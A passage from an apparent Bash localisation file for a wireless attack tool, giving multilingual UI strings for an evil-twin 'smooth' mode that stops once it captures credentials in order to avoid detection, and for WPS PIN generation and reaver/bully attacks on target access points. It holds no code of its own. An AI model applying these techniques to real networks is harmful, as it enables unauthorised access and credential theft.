descubierto haciendo que para algunos usuarios pueda parecer un fallo puntual de la red inalámbrica" arr["FRENCH",483]="L'attaque en mode \"smooth\" dès qu'elle capture des identifiants de connexion il sera démantelée pour permettre aux clients se reconnecter au réseau légitime. Cela réduit les chances d'être découvert, faisant ainsi penser à une défaillance puntuelle du réseau" arr["CATALAN",483]="L'atac en mode \"smooth\" tan aviat capturi unes credencials es desmantellarà per deixar que els clients tornin a connectar-se a la xarxa legítima. Això redueix les possibilitats de ser descobert fent que per a alguns usuaris pugui semblar una fallada puntual de la xarxa sense fil" arr["PORTUGUESE",483]="O ataque no \"modo discreto\" será encerrado assim que capturar uma credencial, permitindo que os clientes se reconectem à rede legítima. Isso reduz as chances de ser descoberto, fazendo com que pareça apenas uma falha da rede sem fio para alguns usuários" arr["RUSSIAN",483]="Атака в режиме \"smooth\" будет остановлена как только будут захвачены учётные данные, чтобы клиенты снова подключились к законной сети. Это уменьшает вероятность обнаружения, выглядит как небольшие проблемы в беспроводной сети" arr["GREEK",483]="Η επίθεση σε \"smooth\" mode θα σπάσει σε διάφορα μέρη μόλις ληφθεί η πιστοποίηση για να επιτρέψει στους πελάτες να επανασυνδεθούν ξανά στο κανονικό δίκτυο. Αυτό μειώνει την πιθανότητα να ανακαλυφθεί, αναζητώντας ορισμένους χρήστες ως μια εσφαλμένη λειτουργία ασύρματου δικτύου" arr["ITALIAN",483]="L'attacco con la modalità \"smooth\" non appena acquisisce una credenziale verrà fermato per consentire ai client di riconnettersi alla rete legittima. Questo riduce le possibilità di essere scoperti, facendo credere agli utenti che sia stato un errore della rete wireless" arr["POLISH",483]="Atak w trybie \"smooth\" zostanie zdemontowany zaraz po przechwyceniu danych, aby umożliwić klientom ponowne połączenie z właściwą siecią. Zmniejsza to szansę na wykrycie, ponieważ niektórym użytkownikom wydaje się że to chwilowa awaria sieci bezprzewodowej" arr["GERMAN",483]="Der Angriff im \"smooth\"-Modus wird sobald er einen Berechtigungsnachweis erfasst abgebaut, damit die Clients sich wieder mit dem legitimen Netzwerk verbinden können. Dies verringert die Wahrscheinlichkeit, entdeckt zu werden, was für einige Benutzer als sinnloser Ausfall des WLANs erscheint" arr["TURKISH",483]="\"smooth\" saldırı modu, herhangi bir giriş bilgisi yakalanır yakalanmaz, istemcilerin meşru ağa yeniden bağlanmasına izin vermek için durdurulacaktır. Bu, keşfedilme şansını azaltır ve bazı kullanıcılar için kablosuz ağın anlamsız bir başarısızlığı gibi görünmesini sağlar" arr["ARABIC",483]=".بمجرد أن يلتقط بيانات اعتماد تسجيل الدخول ، سيتم تفكيكه للسماح للعملاء بإعادة الاتصال بالشبكة الشرعية. هذا يقلل من فرص الاكتشاف ، مما يشير إلى فشل الشبكة في نقطة زمنية. \"smooth\" هجوم في الوضع" arr["CHINESE",483]="“平滑”模式下的攻击将在捕获凭据后立即解除,让客户端重新连接到合法网络。这减少了被发现的可能性。" arr["ENGLISH",484]="Root permissions successfully detected" arr["SPANISH",484]="Permisos de root correctamente detectados" arr["FRENCH",484]="Autorisation root detectée" arr["CATALAN",484]="Permisos de root correctament detectats" arr["PORTUGUESE",484]="Permissões de root detectadas corretamente" arr["RUSSIAN",484]="Успешно определены права root" arr["GREEK",484]="Τα δικαιώματα root έχουν παραχωρηθεί επιτυχώς" arr["ITALIAN",484]="I permessi di root sono stati rilevati correttamente" arr["POLISH",484]="Uprawnienia root zostały prawidłowo wykryte" arr["GERMAN",484]="Richtig erkannte root-Berechtigungen" arr["TURKISH",484]="Root yetkileri başarıyla tespit edildi" arr["ARABIC",484]="بنجاح root تم اكتشاف أذونات" arr["CHINESE",484]="成功检测到 root 权限" arr["ENGLISH",485]="\${blue_color}Some PINs have been added calculated using the algorithms (ComputePIN, EasyBox, etc.), however you can add one more (Arcadyan). Calculating it requires certain data and a background scan will have to be performed. The process may be very slow. \${green_color}Do you want to proceed with the calculation to add it? \${normal_color}\${visual_choice}" arr["SPANISH",485]="\${blue_color}Se han añadido algunos PINs calculados por algoritmos (ComputePIN, EasyBox, etc.), pero aún se puede añadir uno más (Arcadyan). Calcularlo requiere ciertos datos y habrá que realizar un escaneo en segundo plano. Es posible que el proceso sea muy lento. \${green_color}¿Quieres proceder con el cálculo para añadirlo? \${normal_color}\${visual_choice}" arr["FRENCH",485]="\${blue_color}Certains PINs ajouté ont été calculés par des algorithmes (ComputePIN, EasyBox, etc.), mais vous pouvez encore ajouter un autre (Arcadyan). Le calcul nécessite certaines données et une analyse d'arrière-plan devra être effectuée. Le processus peut être très lent. \${green_color}Voulez-vous procéder au calcul pour l'ajouter? \${normal_color}\${visual_choice}" arr["CATALAN",485]="\${blue_color}S'han afegit alguns PINs calculats per algoritmes (ComputePIN, EasyBox, etc.), però encara es pot afegir un més (Arcadyan). Calcular-lo requereix certes dades i caldrà realitzar un escaneig en segon pla. És possible que el procés sigui molt lent. \${green_color}¿Vols procedir amb el càlcul per afegir-ho? \${normal_color}\${visual_choice}" arr["PORTUGUESE",485]="\${blue_color}Alguns PINs adicionados foram calculados usando algoritmos (ComputePIN, EasyBox, etc.), mas você ainda pode adicionar mais um (Arcadyan). Calculá-lo requer certos dados e uma verificação em segundo plano terá que ser realizada. O processo pode ser muito lento. \${green_color}Deseja continuar com o cálculo para adicioná-lo? \${normal_color}\${visual_choice}" arr["RUSSIAN",485]="\${blue_color}Некоторые добавленные PIN были вычислены алгоритмами (ComputePIN, EasyBox, и т.д.), но вы можете добавить ещё один (Arcadyan). Для его вычисления требуются определенные данные, и необходимо выполнить фоновое сканирование. Процесс может быть очень медленным. \${green_color}Вы хотите добавить PIN, вычисленные этим алгоритмом? \${normal_color}\${visual_choice}" arr["GREEK",485]="\${blue_color}Έχουν προστεθεί ορισμένοι κωδικοί PIN υπολογισμένοι με τους αλγόριθμους (ComputePIN, EasyBox, κτλπ.), μπορείτε όμως να προσθέσετε άλλον έναν κωδικό (Arcadyan). Ο υπολογισμός του απαιτεί ορισμένα δεδομένα και θα πρέπει να πραγματοποιηθεί κάποιο scan στο background. Η διαδικασία αυτή μπορεί να αργοπορήσει. \${green_color}Θέλετε να συνεχίσετε με τον υπολογισμό του και να τον προσθέσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",485]="\${blue_color}Sono stati aggiunti alcuni PIN calcolati da algoritmi (ComputePIN, EasyBox, etc.), ma è possibile aggiungerne ancora uno (Arcadyan). Il calcolo richiede alcuni dati e deve essere eseguita una scansione in secondo piano. Il processo può essere molto lento. \${green_color}Vuoi procedere con il calcolo per aggiungerlo? \${normal_color}\${visual_choice}" arr["POLISH",485]="\${blue_color}Niektóre kody PIN zostały dodane obliczone algorytmami (ComputePIN, EasyBox, itd.) ale można jeszcze dodać jeden (Arcadyan). Obliczanie go wymaga pewnych danych oraz będzie musiało zostać wykonane skanowanie w tle. Proces ten może być bardzo powolny. \${green_color}Czy chcesz kontynuować obliczenie, aby go dodać? \${normal_color}\${visual_choice}" arr["GERMAN",485]="\${blue_color}Einige von Algorithmen berechnete PINs (ComputePIN, EasyBox usw.) wurden hinzugefügt, aber es kann noch eine weitere hinzugefügt werden (Arcadyan). Die Berechnung erfordert bestimmte Daten und ein Scan im Hintergrund muss durchgeführt werden. Es ist möglich, dass der Prozess sehr langsam ist. \${green_color}Möchten Sie mit der Berechnung fortfahren, um sie hinzuzufügen? \${normal_color}\${visual_choice}" arr["TURKISH",485]="Bazı PIN'ler algoritmalar (ComputePIN, EasyBox, vb.) Kullanılarak hesaplanmıştır, ancak bir tane daha ekleyebilirsiniz (Arcadyan). Bunu hesaplamak belirli veriler gerektirir ve bir arka plan taramasının yapılması gerekir. İşlem çok yavaş olabilir. \${green_color}Eklemek istediğiniz hesaplamaya devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",485]="\${normal_color}\${visual_choice} \${green_color}هل تريد متابعة الحساب لإضافته؟\${blue_color} .يتطلب حسابها بيانات معينة وسيتعين إجراء مسح للخلفية. قد تكون العملية بطيئة للغاية (Arcadyan) وما إلى ذلك) ، ولكن يمكنك إضافة واحد آخر EasyBox و ComputePIN ) المحسوبة باستخدام الخوارزميات (PIN) تمت إضافة بعض أرقام التعريف الشخصية\${normal_color}" arr["CHINESE",485]="\${blue_color}一些 PIN 已使用算法计算 (如 ComputePIN、EasyBox 等),但是您可以再添加一个 (Arcadyan) 。计算它需要某些数据,并且必须执行后台扫描。该过程可能非常缓慢。\${green_color}是否要添加它?\${normal_color}\${visual_choice}" arr["ENGLISH",486]="It's not possible to generate PIN with Arcadyan algorithm. To be able to do it, update \"wash\" (included in reaver package) to a newer version including the necessary \"-j\" option (v\${minimum_wash_json_version})" arr["SPANISH",486]="No es posible generar el PIN con el algoritmo Arcadyan. Para poder hacerlo actualice \"wash\" (incluido en el paquete reaver) a una versión superior que tenga la necesaria opción \"-j\" (v\${minimum_wash_json_version})" arr["FRENCH",486]="Il n'est pas possible de générer le PIN avec l'algorithme Arcadyan. Pour ce faire, mettez à jour \"wash\" (inclus dans le paquet reaver) vers une version supérieure qui a l'option \"-j\" (v\${minimum_wash_json_version})" arr["CATALAN",486]="No és possible fer el PIN amb l'algoritme Arcadyan. Per poder fer-ho actualitzi \"wash\" (inclòs en el paquet reaver) a una versió superior que tingui la necessària opció \"-j\" (v\${minimum_wash_json_version})" arr["PORTUGUESE",486]="Não foi possível gerar o PIN com o algoritmo Arcadyan. Para isso, atualize \"wash\" (incluso no pacote reaver) para uma versão que tenha a opção necessária \"-j\" (v\${minimum_wash_json_version})" arr["RUSSIAN",486]="Невозможно создать PIN с алгоритмом Arcadyan. Чтобы это сделать, обновите \"wash\" (включена в пакет reaver) на более новую версию, которая имеет необходимую опцию \"-j\" (v\${minimum_wash_json_version})" arr["GREEK",486]="Δεν είναι δυνατό να δημιουργηθεί PIN με τον αλγόριθμο Arcadyan. Για να το κάνετε αυτό, ενημερώστε το \"wash\" (περιλαμβάνεται στο πακέτο του reaver) σε νεότερη έκδοση, συμπεριλαμβανομένης της απαραίτητης επιλογής \"-j\" (v\${minimum_wash_json_version})" arr["ITALIAN",486]="Non è possibile generare il PIN con l'algoritmo Arcadyan. Per effettuare questa operazione, aggiornare \"wash\" (incluso nel pacchetto reaver) a una versione più nuova che disponga dell'opzione necessaria \"-j\" (v\${minimum_wash_json_version})" arr["POLISH",486]="Nie jest możliwe wygenerowanie kodu PIN za pomocą algorytmu Arcadyan. Aby to zrobić, uaktualnij \"wash\" (zawarty w pakiecie reaver) do wyższej wersji, która wspiera opcję \"-j\" (v\${minimum_wash_json_version})" arr["GERMAN",486]="Es ist nicht möglich, die PIN mit dem Arcadyan-Algorithmus zu generieren. Aktualisieren Sie dazu \"wash\" (im reaver-Paket enthalten) auf eine höhere Version mit der erforderlichen Option \"-j\" (v\${minimum_wash_json_version})" arr["TURKISH",486]="Arcadyan algoritması ile PIN üretmek mümkün değil. Bunu yapabilmek için gerekli \"-j\" seçeneği de dahil olmak üzere daha yeni bir sürüme \"wash\" (reaver paketinde yer alan) güncelleştirin (v\${minimum_wash_json_version})" arr["ARABIC",486]="(v\${minimum_wash_json_version}) الضروري \"-j\"إلى إصدار أحدث يتضمن الخيار (reaver الموجودة في حزمة) \"wash\" لتتمكن من القيام بذلك ، قم بتحديث .Arcadyan باستخدام خوارزمية PIN لا يمكن إنشاء" arr["CHINESE",486]="无法使用 Arcadyan 算法生成 PIN。为了能够做到这一点,将 \"wash\" (包含在 reaver 包中) 更新到更新版本,包括必要的 \"-j\" 选项 (v\${minimum_wash_json_version})" arr["ENGLISH",487]="PIN generated using Arcadyan algorithm (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["SPANISH",487]="Se ha generado el PIN con el algoritmo Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["FRENCH",487]="Le PIN a été généré avec l'algorithme Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["CATALAN",487]="S'ha generat el PIN amb l'algoritme Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["PORTUGUESE",487]="Foi gerado um PIN com o algoritmo Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["RUSSIAN",487]="PIN-код, созданный с использованием алгоритма Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["GREEK",487]="Το PIN δημιουργήθηκε με τον αλγόριθμο Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["ITALIAN",487]="Il PIN è stato generato con l'algoritmo Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["POLISH",487]="PIN został wygenerowany za pomocą algorytmu Arcadyan (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["GERMAN",487]="Die PIN wurde mit dem Arcadyan-Algorithmus generiert (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["TURKISH",487]="Arcadyan algoritması kullanılarak oluşturulan PIN (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["ARABIC",487]="(\${normal_color}\${arcadyan_pin}\${yellow_color}) Arcadyan باستخدام خوارزمية PIN تم إنشاء رقم التعريف الشخصي" arr["CHINESE",487]="使用 Arcadyan 算法生成的 PIN (\${normal_color}\${arcadyan_pin}\${yellow_color})" arr["ENGLISH",488]="PIN can't be generated using Arcadyan algorithm. Failed to collect a complete \"probe\" response from the access point. Probably because of low signal quality" arr["SPANISH",488]="No se ha podido generar el PIN con el algoritmo Arcadyan. No se ha podido recoger una respuesta \"probe\" completa del punto de acceso. Probablemente porque la señal no es buena" arr["FRENCH",488]="Impossible de générer le PIN avec l'algorithme Arcadyan. Impossible de collecter une réponse complète \"probe\" à partir du point d'accès. Probablement parce que le signal n'est pas de bonne qualite" arr["CATALAN",488]="No s'ha pogut generar el PIN amb l'algoritme Arcadyan. No s'ha pogut recollir una resposta \"probe\" completa del punt d'accés. Probablement perquè el senyal no és bona" arr["PORTUGUESE",488]="Não foi possível gerar um PIN com o algoritmo Arcadyan. Falha ao coletar a resposta de \"probe\" completa do ponto de acesso. Provavelmente porque o sinal não é bom" arr["RUSSIAN",488]="PIN-код не может быть сгенерирован с использованием алгоритма Arcadyan. Не удалось получить полный ответ \"probe\" от точки доступа. Возможно, из-за низкого качества сигнала" arr["GREEK",488]="Το PIN δεν μπορεί να δημιουργηθεί χρησιμοποιώντας τον αλγόριθμο Arcadyan. Δεν ήταν δυνατή η συλλογή πλήρους \"probe\" response από το σημείο πρόσβασης. Πιθανόν επειδή το σήμα είναι χαμηλό" arr["ITALIAN",488]="Impossibile generare il PIN con l'algoritmo Arcadyan. Impossibile raccogliere una risposta \"probe\" completa dal punto di accesso. Probabilmente perché il segnale non è buono" arr["POLISH",488]="Nie można wygenerować kodu PIN za pomocą algorytmu Arcadyan. Nie udało się zebrać kompletnej odpowiedzi \"probe\" z punktu dostępu. Prawdopodobnie dlatego, że pozion sygnału jest słaby" arr["GERMAN",488]="Die PIN konnte nicht mit dem Arcadyan-Algorithmus generiert werden. Keine vollständige Antwort \"probe\" vom Zugriffspunkt konnte gesammelt werden. Wahrscheinlich, weil das Signal nicht gut genug ist" arr["TURKISH",488]="PIN, Arcadyan algoritması kullanılarak oluşturulamaz. Erişim noktasından eksiksiz bir \"probe\" yanıtı toplanamadı. Muhtemelen düşük sinyal kalitesi nedeniyle" arr["ARABIC",488]="كاملة من نقطة الوصول. ربما بسبب انخفاض جودة الإشارة \"probe\" فشل في جمع استجابة .Arcadyan باستخدام خوارزمية PIN لا يمكن إنشاء" arr["CHINESE",488]="无法使用 Arcadyan 算法生成 PIN。无法从接入点收集完整的“探测”响应。可能是因为信号质量低" arr["ENGLISH",489]="Attempting to collect a complete \"probe\" response from the target access point. This process can take up to 4 minutes..." arr["SPANISH",489]="Intentando recoger una respuesta \"probe\" completa del punto de acceso objetivo. Este proceso puede durar hasta 4 minutos..." arr["FRENCH",489]="Tentative de collecter une réponse complète de \"probe\" à partir du point d'accès ciblé. Ce processus peut prendre jusqu'à 4 minutes..." arr["CATALAN",489]="Intentant recollir una resposta \"probe\" completa del punt d'accés objectiu. Aquest procés pot durar fins a 4 minuts..." arr["PORTUGUESE",489]="Tentando coletar uma resposta de \"probe\" completa do ponto do acesso. Este processo pode levar até 4 minutos..." arr["RUSSIAN",489]="Попытка собрать полный запрос \"probe\" от целевой точки доступа. Этот процесс может занять до 4 минут..." arr["GREEK",489]="Γίνεται προσπάθεια συλλογής πλήρους \"probe\" response από το σημείο πρόσβασης (στόχος). Αυτή η διαδικασία μπορεί να διαρκέσει έως και 4 λεπτά..." arr["ITALIAN",489]="Cercando di raccogliere una risposta \"probe\" completa dal punto di accesso obiettivo. Questo processo può richiedere fino a 4 minuti..." arr["POLISH",489]="Próba zebrania kompletnej odpowiedzi \"probe\" z docelowego punktu dostępu. Proces ten może potrwać do 4 minut..." arr["GERMAN",489]="Versuch, eine vollständige \"probe\"-Antwort vom Zielzugriffspunkt zu sammeln. Dieser Prozess kann bis zu 4 Minuten dauern..." arr["TURKISH",489]="Hedef erişim noktasından eksiksiz bir \"probe\" yanıtı toplamaya çalışılıyor. Bu işlem 4 dakika kadar sürebilir..." arr["ARABIC",489]="...كاملة من نقطة الوصول الهدف. قد تستغرق هذه العملية ما يصل إلى 4 دقائق \"probe\" محاولة تجميع استجابة" arr["CHINESE",489]="正在尝试从目标访问点收集完整的“探测”响应。此过程最多可能需要 4 分钟..." arr["ENGLISH",490]="The Arcadyan algorithm needs a very specific data to calculate the PIN (the serial number of the access point). Getting this data can take a lot of time. You can optionally choose to try to generate it. This generated PIN is very useful in networks of type Orange-XXXX" arr["SPANISH",490]="El algoritmo Arcadyan necesita un dato muy concreto para poder calcular el PIN (el número de serie del punto de acceso). Obtener este dato puede llevar bastante tiempo. Podrás elegir opcionalmente intentar generarlo. Este PIN generado es muy útil en redes del tipo Orange-XXXX" arr["FRENCH",490]="L'algorithme Arcadyan nécessite des données très spécifiques pour calculer le PIN (le numéro de série du point d'accès). L'obtention de ces données peut prendre un certain temps. Vous pouvez choisir optionnellement d'essayer de le générer. Ce PIN généré est très utile dans les réseaux de type Orange-XXXX" arr["CATALAN",490]="L'algoritme Arcadyan necessita una dada molt concret per poder calcular el PIN (el nombre de sèrie del punt d'accés). Obtenir aquesta dada pot portar prou de temps. Podràs triar opcionalment intentar generar-lo. Aquest PIN generat és molt útil en xarxes del tipus Orange-XXXX" arr["PORTUGUESE",490]="O algoritmo Arcadyan precisa de dados muito específicos para calcular o PIN (o número de série do ponto de acesso). Obter esses dados pode levar bastante tempo mas você pode optar por tentar gerá-los. O PIN gerado é muito útil nas redes Orange-XXXX" arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXXX" arr["GREEK",490]="Ο αλγόριθμος Arcadyan χρειάζεται πολύ συγκεκριμένα δεδομένα για τον υπολογισμό του PIN (ο σειριακός αριθμός του σημείου πρόσβασης). Η λήψη αυτών των δεδομένων μπορεί να χρειαστεί αρκετό χρόνο. Μπορείτε να επιλέξετε να προσπαθήσετε να το δημιουργήσετε. Tο PIN που θα δημιουργηθεί είναι πολύ χρήσιμο σε δίκτυα τύπου Orange-XXXX" arr["ITALIAN",490]="L'algoritmo Arcadyan richiede dati molto specifici per calcolare il PIN (il numero di serie del punto di accesso). Ottenere questi dati può richiedere molto tempo. Puoi scegliere opzionalmente di provare a generarlo. Questo PIN generato è molto utile nelle reti di tipo Orange-XXXX" arr["POLISH",490]="Algorytm Arcadyan potrzebuje bardzo specyficznych danych do obliczania numeru PIN (numeru seryjny punktu dostępu). Uzyskanie tych danych może zająć trochę czasu. Można opcjonalnie zdecydować się na jego wygenerowanie. Ten wygenerowany kod PIN jest bardzo przydatny w sieciach typu Orange-XXXX" arr["GERMAN",490]="Der Arcadyan-Algorithmus benötigt sehr spezifische Daten, um die PIN (die Seriennummer des Access Points) berechnen zu können. Die Beschaffung dieser Daten kann sehr lange dauern. Sie können optional auswählen, ob Sie versuchen möchten, es zu generieren. Diese generierte PIN ist sehr nützlich in Netzwerken vom Typ Orange-XXXX" arr["TURKISH",490]="Arcadyan algoritmasının PIN'i hesaplamak için çok özel bir veriye ihtiyacı vardır (erişim noktasının seri numarası). Bu verileri almak çok zaman alabilir. İsteğe bağlı olarak onu oluşturmayı deneyebilirsiniz. Bu oluşturulan PIN, Orange-XXXX türündeki ağlarda çok kullanışlıdır" arr["ARABIC",490]="Orange-XXXX الذي تم إنشاؤه مفيدًا جدًا في الشبكات من النوع PIN (الرقم التسلسلي لنقطة الوصول). قد يستغرق الحصول على هذه البيانات الكثير من الوقت. يمكنك اختياريا محاولة إنشائه. يعتبر رمز PIN إلى بيانات محددة جدًا لحساب Arcadyan تحتاج خوارزمية" arr["CHINESE",490]="Arcadyan 算法需要非常具体的数据来计算 PIN (接入点的序列号) 。获取这些数据可能会花费很多时间。您可以选择尝试生成它。此生成的 PIN 在 Orange-XXXX 类型的网络中非常有用" arr["ENGLISH",491]="Arcadyan algorithm is not useful for the selected target network, a valid value can't be calculated" arr["SPANISH",491]="El algoritmo Arcadyan no sirve para la red objetivo seleccionada, no se puede calcular un valor válido" arr["FRENCH",491]="L'algorithme Arcadyan ne correspond pas au réseau sélectionné, une valeur valide ne peut pas être calculée" arr["CATALAN",491]="L'algoritme Arcadyan no serveix per a la xarxa objectiu seleccionada, no es pot calcular un valor vàlid" arr["PORTUGUESE",491]="O algoritmo Arcadyan não se encaixa na rede selecionada, não foi possível calcular um valor válido" arr["RUSSIAN",491]="Алгоритм Arcadyan бесполезен для выбранной целевой сети, действительное значение не может быть рассчитано" arr["GREEK",491]="Ο αλγόριθμος Arcadyan δεν είναι χρήσιμος για το επιλεγμένο δίκτυο, δεν μπορεί να υπολογιστεί έγκυρη τιμή" arr["ITALIAN",491]="L'algoritmo Arcadyan non è adatto alla rete selezionata come obiettivo, non è possibile calcolare un valore valido" arr["POLISH",491]="Algorytm Arcadyan nie pasuje do wybranej sieci docelowej, nie można obliczyć prawidłowej wartości" arr["GERMAN",491]="Der Arcadyan-Algorithmus funktioniert nicht für das ausgewählte Zielnetzwerk, ein gültiger Wert kann nicht berechnet werden" arr["TURKISH",491]="Arcadyan algoritması seçilen hedef ağ için kullanışlı değildir, geçerli bir değer hesaplanamaz" arr["ARABIC",491]="لا تتطابق خوارزمية Arcadyan مع الشبكة المحددة ، ولا يمكن حساب قيمة صالحة" arr["CHINESE",491]="Arcadyan 算法对选定的目标网络无用,无法计算出有效值" arr["ENGLISH",492]="The Arcadyan algorithm can't be calculated. Although you chose the bully option for the attack, you need to use wash (included in reaver package) to calculate that PIN and you don't have it installed. The script will continue the attack without including it" arr["SPANISH",492]="El algoritmo Arcadyan no puede ser calculado. Aunque elegiste la opción de ataque con bully, para calcular ese PIN se necesita utilizar wash (incluido en el paquete reaver) y tú no lo tienes instalado. El script continuará el ataque sin incluirlo" arr["FRENCH",492]="L'algorithme Arcadyan ne peut pas être calculé. Bien que vous ayez choisi l'option d'attaque bully, pour calculer ce PIN, vous devez utiliser wash (inclus dans le paquet reaver) et vous ne l'avez pas installé. Le script continuera l'attaque sans l'inclure" arr["CATALAN",492]="L'algoritme Arcadyan no pot ser calculat. Encara que vas triar l'opció d'atac amb bully, per calcular aquest PIN es necessita utilitzar wash (inclòs en el paquet reaver) i tu no el tens instal·lat. El script continuarà l'atac sense incloure" arr["PORTUGUESE",492]="O algoritmo Arcadyan não pôde efetuar o calculo. Embora você tenha escolhido a opção de ataque com bully, para calcular esse PIN, você precisa usar wash (incluso no pacote reaver) que você não possui. O script continuará o ataque sem calculá-lo" arr["RUSSIAN",492]="Алгоритм Arcadyan не может быть рассчитан. Вы выбрали опцию bully для атаки, а для расчета этого PIN-кода вам необходимо использовать wash (включенную в пакет reaver), который у вас не установлен. Скрипт продолжит атаку без этого алгоритма" arr["GREEK",492]="Ο αλγόριθμος Arcadyan δεν μπορεί να υπολογιστεί. Παρόλο που επιλέξατε την επιλογή bully για την επίθεση, χρειάζεται να χρησιμοποιήσετε το wash (περιλαμβάνεται στο πακέτο του reaver) για να υπολογίσετε το PIN και δεν το έχετε εγκαταστήσει. Το script θα συνεχίσει την επίθεση χωρίς να το συμπεριλάβει" arr["ITALIAN",492]="L'algoritmo Arcadyan non può essere calcolato. Anche se hai scelto l'opzione di attacco con bully, per calcolare quel PIN che devi usare wash (incluso nel pacchetto reaver) e non l'hai installato. Lo script continuerà l'attacco senza includerlo" arr["POLISH",492]="Nie można obliczyć algorytmu Arcadyan. Chociaż wybrano opcję ataku za pomocą bully, aby obliczyć ten kod PIN, musisz użyć wash (dołączonego do pakietu reaver) i nie masz go zainstalowanego. Skrypt będzie kontynuował atak bez jego włączania" arr["GERMAN",492]="Der Arcadyan-Algorithmus kann nicht berechnet werden. Obwohl Sie den bully-Angriff gewählt haben, müssen Sie zur Berechnung dieser PIN die Funktion wash verwenden (im Paket reaver enthalten), und Sie haben sie nicht installiert. Das Skript setzt den Angriff fort, ohne es einzuschließen" arr["TURKISH",492]="Arcadyan algoritması hesaplanamadı. Saldırı için zorlama seçeneğini seçmiş olmanıza rağmen, bu PIN'i hesaplamak için wash kullanmanız (reaver paketine dahil) ve onu yüklememeniz gerekir. Bu kullanılmadan devam edilecek" arr["ARABIC",492]="هذا ولم يكن مثبتًا لديك. سيستمر البرنامج في الهجوم دون تضمينه PIN لحساب رقم التعريف الشخصي (reaver الموجود في حزمة) wash للهجوم ، فأنت بحاجة إلى استخدام bully لى الرغم من أنك اخترت خيار .Arcadyan ا يمكن حساب خوارزمية" arr["CHINESE",492]="Arcadyan 算法无法计算。尽管您为攻击选择了 bully 选项,但您需要使用 wash (包含在 reaver 软件包中) 来计算该 PIN,而您没有安装它。该脚本将继续攻击而不包括它" arr["ENGLISH",493]="The Arcadyan algorithm PIN has already been calculated for this target (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). There is no need to calculate it again" arr["SPANISH",493]="El PIN del algoritmo Arcadyan ya fue calculado para este objetivo (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). No hace falta calcularlo de nuevo" arr["FRENCH",493]="Le PIN de l'algorithme Arcadyan a été déjà calculé pour cette cible (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Pas besoin de le calculer à nouveau" arr["CATALAN",493]="El PIN de l'algoritme Arcadyan ja va ser calculat per a aquest objectiu (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). No cal calcular-lo de nou" arr["PORTUGUESE",493]="O PIN com algoritmo Arcadyan já foi calculado para esta rede (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Não é necessário calculá-lo novamente" arr["RUSSIAN",493]="PIN с помощью алгоритма Arcadyan уже рассчитан для этой цели (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Нет необходимости вычислять его снова" arr["GREEK",493]="Ο αλγόριθμος Arcadyan PIN έχει ήδη υπολογιστεί για αυτό το δίκτυο (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Δεν χρειάζεται να υπολογιστεί ξανά" arr["ITALIAN",493]="Il PIN dell'algoritmo Arcadyan è già stato calcolato per questo obiettivo (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Non c'è bisogno di calcolarlo di nuovo" arr["POLISH",493]="PIN algorytm Arcadyan został już obliczony dla tego celu (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Nie musisz go ponownie obliczać" arr["GERMAN",493]="Die Arcadyan-Algorithmus-PIN wurde bereits für diesen Target berechnet (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Keine Notwendigkeit, es erneut zu berechnen" arr["TURKISH",493]="Arcadyan algoritması PIN'i zaten bu hedef için hesaplanmıştır (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}). Tekrar hesaplamaya gerek yok" arr["ARABIC",493]="ليست هناك حاجة لحسابه مرة أخرى .(\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color}) لهذا الهدف Arcadyan لخوارزمية PIN تم بالفعل حساب رقم التعريف الشخصي" arr["CHINESE",493]="已经为此目标计算了基于 Arcadyan 算法的 PIN (\${normal_color}\${wps_data_array[\${wps_bssid},'Arcadyan']}\${yellow_color})。无需重新计算" arr["ENGLISH",494]="14. Offline PIN generation using algorithms and database" arr["SPANISH",494]="14. Generación offline de PINs con algoritmos y base de datos" arr["FRENCH",494]="14. Génération offline de PINs avec les algorithmes et la base de données" arr["CATALAN",494]="14. Generació offline de PINs amb algoritmes i base de dades" arr["PORTUGUESE",494]="14. Gerar PINs offline com algoritmos e com o banco de dados" arr["RUSSIAN",494]="14. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" arr["GREEK",494]="14. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" arr["ITALIAN",494]="14. Generazione offline di PIN con algoritmi e database" arr["POLISH",494]="14. Generowanie offline kodów PIN z algorytmami i bazą danych" arr["GERMAN",494]="14. Offline Generierung von PINs mit Algorithmen und Datenbank" arr["TURKISH",494]="14. Algoritmaları ve veritabanını kullanarak çevrimdışı PIN üretimi" arr["ARABIC",494]="14. بدون اتصال باستخدام الخوارزميات وقاعدة البيانات PIN توليد" arr["CHINESE",494]="14. 使用算法和数据库离线生成 PIN" arr["ENGLISH",495]="Offline PIN generation menu" arr["SPANISH",495]="Menú de generación offline de PINs" 